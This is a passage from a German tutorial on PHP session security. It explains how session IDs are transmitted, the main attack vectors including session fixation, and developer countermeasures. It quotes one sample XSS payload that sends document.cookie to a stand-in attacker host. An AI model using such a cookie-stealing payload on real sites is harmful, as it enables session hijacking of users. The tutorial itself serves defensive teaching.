Das HTTP Protokoll ist statuslos. Stellt ein Browser eine Anfrage an einen Server, erhält er zwar eine Antwort, aber der Server hat sofort wieder vergessen, wer denn nun eine Anfrage gestellt hat. Aus diesem Grund wurden Sessions eingeführt. Hier wird jeder Benutzer gegenüber der Applikation (nicht dem Webserver) über eine Session-ID identifiziert. Diese ist eine eindeutige und nicht erratbare oder konsekutive Zeichenfolge, die vom Webserver oder der Applikation auf dem Server erstellt wird und bei jedem Request mitgeschickt wird. So kann der Server den User solange identifizieren, bis dieser seinen Browser schließt oder die Session ungültig wurde. Sessions werden ungültig, wenn die maximale Gültigkeitsdauer erreicht ist. Diese kann man in der php.ini oder im Script eingestellt werden.
Session-IDs können auf drei Arten zwischen Browser und Server übermittelt werden - in einem Cookie, im Query String und als verstecktes Formularfeld.
Beim Transport mit Hilfe von Cookies wird das Cookie bei jedem Request an den Webserver mitgeschickt, eingepackt in den HTTP Header. Das Cookie wird vom PHP Interpreter bzw. der Applikation ausgestellt. Hier wird zwischen persistenten und nichtpersistenten Cookies unterschieden. Während letztere mit dem Schließen des Browsers verfallen, werden erstere oft für lange Zeit und ohne Wissen des Nutzers auf der Festplatte des Clients gespeichert (z.B. zur Benutzerverfolgung bei Werbetreibenden).
Der Transport einer Session-ID in der URL kann auf zwei Arten erfolgen:
URL Rewriting- die Session-ID ist Teil der URL, z.b. http://SESSION12345.dings.de/ (Achtung, Patente!)
$_GET-Parameter - Hier wird die Session ID an die URL angehängt, wie in http://www.dings.de/?PHPSESSID=SESSION12345
In der Regel wird URL-Transport nur eingesetzt, wenn der Client keine Cookies erlaubt - über die "trans_sid"-Funktionalität ("Transistional Session-ID") wird PHP automatisch entscheiden, welche Transportmethode benutzt wird.
Folgende Angriffsvektoren existieren für Sessions:
Diebstahl des Session Cookies
Mitlesen der Session ID
Systematisches Erraten der Session ID
Session Fixation
Session Riding
Jedes dieser Szenarien basiert auf der Annahme, daß ein Angreifer bei Kenntnis der Session-ID die Session eines legitimen Benutzers (beispielsweise bei einer Online-Bank) übernehmen und für seine Zwecke missbrauchen kann. Diese Annahme ist nicht immer richtig, da bisweilen Sessions an die IP des Benutzers gebunden werden - trifft aber für die meisten Standardanwendungen wie Foren etc. zu.
Es sollte daher unbedingt davon abgesehen werden, URLs per Copy&Paste an Andere weiterzugeben, die Session-IDs enthalten.
Diebstahl des Session Cookies
Der Diebstahl von Session Cookies erfolgt meist über Cross Site Scripting (s.o.). Mittels JavaScript, das auf die Seite eingeschleust wird, kann ein Angreifer Session-Cookie an einen fremden Server übermitteln. Hierzu muß er einem privilegierten Benutzer, z.B. per Mail, einen entsprechend präparierten Link unterschieben, den dieser dann anklickt. Solcher Scriptcode kann z.B. aussehen wie <script>top.load(http://www.boese.de/?cookie=' + document.cookie)</script>.
Mitlesen der Session ID
Hat der Angreifer die Möglichkeit, Netzwerkverkehr zum Zielserver mitzulesen oder zu verändern, so kann er diese Möglichkeit nutzen, um Session-IDs auszulesen und Sessions zu übernehmen. Dabei kann er sich traditioneller Möglichkeiten, wie z.B.
Sniffing
ARP Spoofing
Route Spoofing
DNS Spoofing
DNS Poisoning
bedienen, oder (bei Zugriff auf den Webserver selber) Logfiles nach Session-IDs durchsuchen.
Systematisches Erraten von Session-IDs
Werden die Session-IDs selber mit Hilfe schwacher Algorithmen erstellt, ist es einem Angreifer grundsätzlich möglich, sie zu erraten bzw. vorherzusagen. Nicht nur gerne gewählte "eindeutige" Merkmale wie der Unix-Timestamp des Sessionbeginns, sondern auch IP-Adresse bzw. der User Agent des Clients eignen sich nicht als Session-ID. Sie sind nicht nur leicht zu erraten, sondern auch nicht eindeutig - so können dank NAT-Gateways praktisch unbegrenzt viele Benutzer von einer IP aus Sessions beginnen, oder bei Proxy-Clustern ein einzelner Benutzer bei zwei aufeinanderfolgenden Requests verschiedene IPs besitzen.
Zu kurze Session-IDs (Timestamps etc.) können sehr einfach vorhergesagt werden und sind daher höchst gefährlich. Da PHP einen starken Algorithmus zur Erzeugung von Session-IDs besitzt, sollte von der Erstellung eigener Mechanismen für Sessions im Normalfall abgesehen und die builtin-Funktionalität verwendet werden.
Session Fixation
Session Fixation beschreibt ein Verfahren, bei dem man einem User eine bereits durch den Angreifer erstellte Session ID unterschiebt. Konkret bedeutet das: der Angreifer denkt sich eine Session ID aus und der User beglaubigt sie, indem er sich mit dieser Session-ID einloggt. Damit hat der Angreifer Zugriff auf eine Session, da er die Session-ID kennt.
Die Herausforderung einer Session-Fixation-Attacke ist es, dem Opfer einen präparierten Link unterzuschieben, und dafür zu sorgen, daß er sich mit der in diesem Link vorbereiteten Session-ID authentifiziert. Neben XSS als "Mittel zum Zweck" reichen oft schon interessant aussehende Links in Foren oder Gästebüchern; auch Social Engineering verspricht oft Erfolg. Schließlich werden die (durch die Phishing-Wellen der letzten Jahre sensibilisierten) Benutzer nicht auf eine fremde Site umgeleitet, sondern melden sich ganz normal bei der richtigen URL an - nur eben mit einer präparierten Session-ID.
Wozu genau benötigt ein Angreifer nun eine Session-ID - was läßt sich damit anfangen? Mit Hilfe einer gültigen Session-ID kann der Angreifer sich als der Benutzer ausgeben, der sich mit dieser Session-ID authentifiziert hat und praktisch alle Aktionen ausführen, für die eine Authentifizierung notwendig war. Die Palette der Möglichkeiten reicht von gefälschten Foreneinträgen bis zu Online-Shopping oder gar dem Abruf sensitiver Bankdaten.
Dem Entwickler stehen einige Wege offen, Session Fixation zu verhindern bzw. die möglichen Folgen zu mildern:
" Wenn sich ein Benutzer an einem Session-basierten System anmeldet, sollte eine neue Session-ID generiert werden. Dafür ist die Funktion session_regenerate_id() in PHP gedacht.
" Bei jeder "wichtigen" Aktion, wie etwa Bestell- oder Bezahlvorgängen sowie Paßwortänderungen, sollte eine erneute Authentifizierung stattfinden. Ein gutes Beispiel hierfür liefert Amazon, die trotz gültiger Session ("Hallo Christopher Kunz, wir haben Empfehlungen für Sie") stets die Nutzerdaten abfragen, bevor eine Bestellung getätigt werden kann.
" Login-Informationen wie Benutzernamen oder Passwörter gehören auf gar keinen Fall in eine Session. Auch MD5-verschlüsselte oder gar (wie in einigen PHP-Anwendungen im OpenSource-Bereich bereits gesehen) mit Base64 "codierte" Passwörter dürfen nicht in der Session abgelegt werden.
Abschließend noch ein Wort zu Sessions in Hosting-Umgebungen: In "Shared Environments", also Hostingservern oder Universitätsrechnern, werden Sessions meist in einem gemeinsamen Verzeichnis gespeichert. Da alle Kunden Lese- und Schreibzugriff auf dieses Verzeichnis haben, kann mit kurzen PHP-Scripts auf die Sessiondaten anderer Benutzer auf demselben Server zugegriffen werden. Sessiondaten sind nicht verschlüsselt, sondern liegen als serialisiertes Array im Klartext vor.
In solchen Fällen kann der Serverbetreiber für jeden virtuellen Host einen eigenen session_save_path im VirtualHost-Kontext bestimmen, um Sessiondaten nach Kunden zu trennen. Kunden können ihre Sessiondaten schützen, indem sie statt der (standardmäßigen) Speicherung im Dateisystem einen anderen Sessioncontainer benutzen, z.B. eine Datenbank. Dazu gibt es in PHP die Möglichkeit, eigene Funktionen für die Speicherung von Sessiondaten zu definieren - die Funktion session_set_save_handler() dient dazu, die benutzerdefinierten Funktionen den entsprechenden Operationen auf Sessions (öffnen, schließen, lesen, schreiben, löschen, aufräumen) zuzuordnen.